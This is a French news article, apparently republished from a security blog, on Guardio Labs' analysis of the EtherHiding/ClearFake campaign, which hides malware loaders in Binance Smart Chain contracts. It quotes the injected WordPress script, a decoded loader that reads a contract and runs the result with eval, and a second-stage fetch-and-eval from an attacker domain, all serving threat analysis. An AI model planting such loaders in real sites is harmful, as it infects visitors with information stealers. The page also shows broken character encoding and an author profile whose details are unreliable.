header banner
Default

Des chercheurs ont découvert que la blockchain est utilisée par les cybercriminels pour gérer et diffuser leurs logiciels malveillants, en utilisant le réseau Binance Smart Chain


Table of Contents

    securite2 Binance est une plateforme de trading de cryptomonnaies qui permet �galement de cr�er et d�ex�cuter des applications d�centralis�es et des contrats intelligents, c�est-�-dire des accords cod�s qui s�ex�cutent automatiquement lorsque certaines conditions sont remplies. Mais cette technologie innovante a aussi attir� l�attention de certains acteurs malveillants, qui ont trouv� un moyen d�utiliser le r�seau Binance Smart Chain (BSC) pour h�berger et diffuser leur logiciel malveillant en toute impunit�.

    L�une des plus anciennes astuces de malware (des sites Web pirat�s pr�tendant que les visiteurs doivent mettre � jour leur navigateur Web avant de pouvoir afficher un contenu) a repris vie au cours des derniers mois. De nouvelles recherches montrent que les attaquants � l'origine d'un tel syst�me ont d�velopp� un moyen ing�nieux d'emp�cher leurs logiciels malveillants d'�tre supprim�s par des experts en s�curit� ou par les forces de l'ordre : en h�bergeant les fichiers malveillants sur une blockchain de crypto-monnaie d�centralis�e et pseudo-anonyme.

    En ao�t 2023, le chercheur en s�curit� Randy McEoin a �crit sur une arnaque qu'il a surnomm�e ClearFake, qui utilise des sites WordPress pirat�s pour proposer aux visiteurs une page pr�tendant que vous devez mettre � jour votre navigateur avant de pouvoir afficher le contenu.

    Les fausses alertes de navigateur sont sp�cifiques au navigateur que vous utilisez. Ainsi, si vous surfez sur le Web avec Chrome, par exemple, vous recevrez une invite de mise � jour de Chrome. Ceux qui sont tromp�s en cliquant sur le bouton de mise � jour verront un fichier malveillant d�pos� sur leur syst�me qui tente d'installer un cheval de Troie volant des informations.

    Selon une �tude men�e par Guardio Labs, une unit� de recherche de la soci�t� de s�curit� Guardio, les escrocs ont mis en place une campagne baptis�e EtherHiding, qui consiste � injecter du code Javascript malveillant dans des sites web compromis, g�n�ralement des sites WordPress. Ce code va ensuite interroger le r�seau BSC en cr�ant un contrat intelligent avec une adresse blockchain contr�l�e par les attaquants. Ce contrat va renvoyer une charge utile malveillante et obfusqu�e, qui va � son tour contacter un serveur de commande et de contr�le (C2) pour afficher aux visiteurs des sites infect�s une fausse alerte leur demandant de mettre � jour leur navigateur. Si la victime clique sur le bouton de mise � jour, elle est redirig�e vers le t�l�chargement d�un ex�cutable malveillant h�berg� sur Dropbox ou d�autres services l�gitimes de partage de fichiers.

    Le logiciel malveillant ainsi t�l�charg� peut �tre un chargeur (loader) qui va installer d�autres programmes malveillants plus sophistiqu�s, tels que des voleurs d�informations (stealers), des chevaux de Troie ou des logiciels espions. Parmi les logiciels malveillants observ�s dans cette campagne, on trouve Amadey, Lumma, RedLine, DanaBot, Raccoon, Remcos, SystemBC ou Vidar.

    Au cours des deux derniers mois environ, nous avons �t� confront�s � une nouvelle campagne de propagation de logiciels malveillants par � fausses mises � jour �. Dans le flux d'attaque, un site est d�grad� avec une superposition tr�s cr�dible exigeant une mise � jour du navigateur avant de pouvoir acc�der au site. La fausse � mise � jour � s�av�re �tre un malware voleur d�informations vicieux comme RedLine, Amadey ou Lumma.

    Cette campagne, baptis�e � ClearFake �, identifi�e par Randy McEoin, commence son attaque sur des sites WordPress compromis o� les attaquants int�grent un code JS dissimul�. Ce code initial � t�te de pont � est inject� dans les pages d�articles et r�cup�re une charge utile de deuxi�me �tape aupr�s d�un serveur contr�l� par les attaquants, qui effectue ensuite le reste du site.

    Gr�ce � cette m�thode, l�attaquant peut modifier � distance et instantan�ment le processus d�infection et afficher le message de son choix. Il peut changer de tactique, mettre � jour les domaines bloqu�s et d�sactiver les charges utiles d�tect�es sans r�acc�der aux sites WordPress. Dans le cas de � ClearFake �, le code de la deuxi�me �tape �tait h�berg� sur Cloudflare Workers. Cela a �t� efficace jusqu'� ce que CloudFlare bloque ces comptes, interrompant potentiellement l'ensemble de la campagne.

    Pourtant, dans cette �volution de � ClearFake �, nous constatons que les acteurs malveillant ont introduit une nouvelle m�thode d�h�bergement de code malveillant de mani�re anonyme et sans aucune limitation : un v�ritable h�bergement � Bullet Proof � facilit� par la Blockchain.

    Pas de crypto-arnaques ici, alors pourquoi Binance ?

    Le nouveau processus d'infection, � premi�re vue, est le m�me qu'auparavant : il utilise les m�mes domaines et adresses IP, mais d�s la premi�re entr�e du site WordPress compromis, nous voyons un nouveau trafic r�seau inconnu dirig� vers des serveurs contr�l�s par Binance. Qu�est-ce que Binance, l�une des plus grandes bourses de crypto-monnaie au monde, a � voir avec tout cela ? Les chercheurs ont commenc� par examiner la nouvelle variante du code de premi�re �tape :

    1
    2
    3
    4

    <script src="https://cdn.ethers.io/lib/ethers-5.2.umd.min.js" type="application/javascript"></script>
    <script src="data:text/javascript;base64,YXN5bmMgZnVuY3Rpb24gbG9hZCgpe2xldCBwcm92aWRlcj1uZXcgZXRoZXJz
    LnByb3ZpZGVycy5Kc29uUnBjUHJvdmlkZXIoImh0dHBzOi8vYnNjLWRhdGFzZWVkMS5iaW5hbmNlLm9yZy8iKSxzaWduZXI9cHJvd
    [......]b2FkOw=="></script>

    Les deux balises de script d�crites ci-dessus sont les moyens par lesquels les acteurs malveillants s�emparent de l�int�gralit� d�un site WordPress. Les attaquants ins�rent ce code dans le mod�le principal d'un site WordPress, exploitant souvent des plugins vuln�rables (par exemple Balada Injector), des versions WordPress obsol�tes ou en utilisant des informations d'identification de site vol�es acquises sur le dark web.

    Le code ci-dessus est simplement obscurci en Base64, ce qui se traduit par l'ex�cution de ce qui suit sur chaque page charg�e � partir du site compromis :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15

    // include <https://cdn.ethers.io/lib/ethers-5.2.umd.min.js>
    async function load() {
        let provider = new ethers.providers.JsonRpcProvider("https://bsc-dataseed1.binance.org/"),
            signer = provider.getSigner(),
            address = "0x7f36D9292e7c70A204faCC2d255475A861487c60",
            ABI = [
                { inputs: [{ internalType: "string", .......},
                { inputs: [], name: "get", ......},
                { inputs: [], name: "link", ....... },
            ],
            contract = new ethers.Contract(address, ABI, provider),
            link = await contract.get();
        eval(atob(link));
    }
    window.onload = load;

    Cette partie du code malveillant interroge la BlockChain BSC. Il cr�e une nouvelle instance de contrat en l�initialisant avec l�adresse blockchain fournie et contr�l�e par l�attaquant. Il fournit �galement l�ABI (Application Binary Interface) qui d�clare les fonctions et la structure du contrat. La fonction appel�e est get(), et elle interrogera essentiellement le contrat pour renvoyer une charge utile sp�cifi�e qui sera ensuite d�cod�e et �valu�e en tant que code JavaScript avec la fonction eval().

    a

    BSC, ou Binance Smart Chain, lanc�e il y a trois ans, est la r�ponse de Binance � Ethereum, con�ue pour ex�cuter plus efficacement des applications d�centralis�es et des � contrats intelligents �. Alors qu'Ethereum est une blockchain publique dot�e de capacit�s de crypto-monnaie et de contrats, BSC appartient � Binance et se concentre sur les contrats : des accords cod�s qui ex�cutent automatiquement des actions lorsque certaines conditions sont remplies. Ces contrats offrent des moyens innovants de cr�er des applications et des processus. En raison de la nature publique et immuable de la blockchain, le code peut �tre h�berg� � en cha�ne � sans possibilit� de retrait.

    C�est ce que nous voyons ici dans cette attaque : le code malveillant est h�berg� et servi d�une mani�re qui ne peut pas �tre bloqu�. Contrairement � son h�bergement sur un service Cloudflare Worker, comme cela �tait att�nu� sur la variante pr�c�dente. Il s�agit v�ritablement d�une arme � double tranchant dans le domaine de la technologie d�centralis�e.

    Analyse du contrat intelligent malveillant

    Les chercheurs indiquent qu'ils ne peuvent pas voir le code r�el utilis� pour compiler ce contrat, mais ils ont acc�s � son bytecode (d�centralis� et transparent apr�s tout). Une fois d�compil�, voici sa fonctionnalit� simple en action :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41

    def storage:
      stor0 is array of struct at storage 0
    
    def update(string _newName) payable: 
      require calldata.size - 4 >= 32
      require _newName <= -1
      require _newName + 35 < calldata.size
      if _newName.length > -1:
          revert with 'NH{q', 65
      require _newName + _newName.length + 36 <= calldata.size
      if bool(stor0.length):
          if bool(stor0.length) == stor0.length.field_1 < 32:
              revert with 'NH{q', 34
          if _newName.length:
              stor0[].field_0 = Array(len=_newName.length, data=_newName[all])
      else:
      {...}
    
    def get() payable: 
      if bool(stor0.length):
          if bool(stor0.length) == stor0.length.field_1 < 32:
              revert with 'NH{q', 34
              {..}
              if stor0.length.field_1:
                  if 31 < stor0.length.field_1:
                      mem[128] = uint256(stor0.field_0)
                      idx = 128
                      s = 0
                      while stor0.length.field_1 + 96 > idx:
                          mem[idx + 32] = stor0[s].field_256
                          idx = idx + 32
                          s = s + 1
                          continue 
                      return Array(len=2 * Mask(256, -1, stor0.length.field_1), data=mem[128 len ceil32(stor0.length.field_1)])
                  mem[128] = 256 * stor0.length.field_8
          else:
             {...}
      return Array(len=stor0.length % 128, data=mem[128 len ceil32(stor0.length.field_1)], mem[(2 * ceil32(stor0.length.field_1)) + 192 len 2 * ceil32(stor0.length.field_1)]), 
    
    def unknown1c4695f4() payable: 
     {...}

    Il s'agit d'une application de contrat simple qui utilise la fonction de stockage du contrat (la variable de tableau stor0). La m�thode update() enregistre l'entr�e dans ce stockage � octet par octet et la m�thode get() lit le stockage et renvoie sa valeur sous forme de cha�ne. De cette fa�on, en interagissant avec le contrat, les donn�es peuvent �tre �crites ou mises � jour sur la cha�ne.

    Nous pouvons le voir dans l�historique des transactions sur le BSC, � partir de la cr�ation du contrat le 9 septembre 2023 par une autre adresse contr�l�e par un attaquant. Cette autre adresse, cr��e fin juin 2022, a �t� charg�e en BNB (The Binance Coin) d'un montant juste suffisant pour cr�er et mettre � jour le contrat � des activit�s qui ne sont pas r�ellement payables, mais qui co�tent quelques frais de � gaz � habituels mineurs (entre 0,02 � 0,60 USD chacune) :

    a

    Seule la premi�re mise � jour du contrat est clairement un test (puisqu�elle ne comprenait en r�alit� que la cha�ne � test �), mais toutes les suivantes sont des morceaux �vidents de code JavaScript. Lorsque les premi�res entr�es sont assez simples, ces derni�res ajoutent davantage de techniques d'obscurcissement JavaScript mais continuent � faire les m�mes quelques activit�s simples que celles vues dans cette premi�re entr�e (apr�s d�codage depuis Base64) :

    1
    2
    3
    4
    5

    const get_k_script = () => {
        let e = new XMLHttpRequest();
        return e.open("GET", "https://921hapudyqwdvy[.]com/vvmd54/", !1), e.send(null), e.responseText;
    };
    eval(get_k_script());

    Il s'agit exactement du m�me code que nous avons vu sur les variantes pr�c�dentes de ClearFake (tel que renvoy� par le service CloudFlare), seul le domaine de deuxi�me �tape est modifi� presque quotidiennement - cela montre � quel point il est facile de mettre � jour l'ensemble de la cha�ne d'attaque avec une simple transaction blockchain.

    Nous constatons que chaque fois que leur domaine est � br�l� �, une mise � jour de la cha�ne est publi�e pour �changer le code malveillant et les domaines affili�s � au moins 30 domaines malveillants et ce n�est pas fini.

    Conclusion

    L�avantage pour les escrocs d�utiliser le r�seau BSC est qu�il s�agit d�un service d�centralis�, anonyme et public, qui ne peut pas �tre censur� ou supprim�. En effet, le code h�berg� sur la blockchain est immuable et accessible � tous. De plus, l�interrogation du contrat intelligent est une op�ration gratuite, qui �tait initialement con�ue pour d�boguer les probl�mes d�ex�cution des contrats sans impact r�el. Ainsi, les escrocs disposent d�un moyen gratuit, discret et robuste pour diffuser leur logiciel malveillant sans laisser de traces.

    Face � cette menace, Binance a d�clar� �tre conscient du probl�me et avoir pris des mesures pour y rem�dier. La soci�t� a indiqu� avoir mis sur liste noire toutes les adresses associ�es � la propagation du logiciel malveillant et avoir d�velopp� un mod�le pour d�tecter les futurs contrats intelligents qui utilisent des m�thodes similaires pour h�berger des scripts malveillants.

    Les experts en s�curit� recommandent aux utilisateurs de se m�fier des alertes de mise � jour suspectes et de v�rifier la source et la l�gitimit� des fichiers qu�ils t�l�chargent. Ils conseillent �galement d�utiliser un logiciel antivirus � jour et de sauvegarder r�guli�rement leurs donn�es.

    Source : Guardio Labs

    Et vous ?

    Que pensez-vous de l�utilisation du r�seau BSC par les escrocs pour h�berger leur logiciel malveillant? Est-ce une preuve de l�ing�niosit� des hackers ou de la vuln�rabilit� des technologies d�centralis�es?
    Que pensez-vous des mesures que Binance a prises pour contrer cette menace? Sont-elles suffisantes ou faut-il renforcer la s�curit� du r�seau BSC?
    Quels sont les risques pour les utilisateurs de cryptomonnaies qui visitent des sites web infect�s par cette campagne? Comment peuvent-ils se prot�ger efficacement contre ce type d�attaque?

    Sources


    Article information

    Author: Anthony Black

    Last Updated: 1698327481

    Views: 1136

    Rating: 4 / 5 (72 voted)

    Reviews: 83% of readers found this page helpful

    Author information

    Name: Anthony Black

    Birthday: 1997-09-22

    Address: 0601 Stephens Flats Suite 628, Rodriguezside, TN 22530

    Phone: +4629205749867400

    Job: Firefighter

    Hobby: Beer Brewing, DIY Electronics, Backpacking, Cooking, Playing Chess, Poker, Writing

    Introduction: My name is Anthony Black, I am a candid, Adventurous, vivid, Colorful, striking, accomplished, Open person who loves writing and wants to share my knowledge and understanding with you.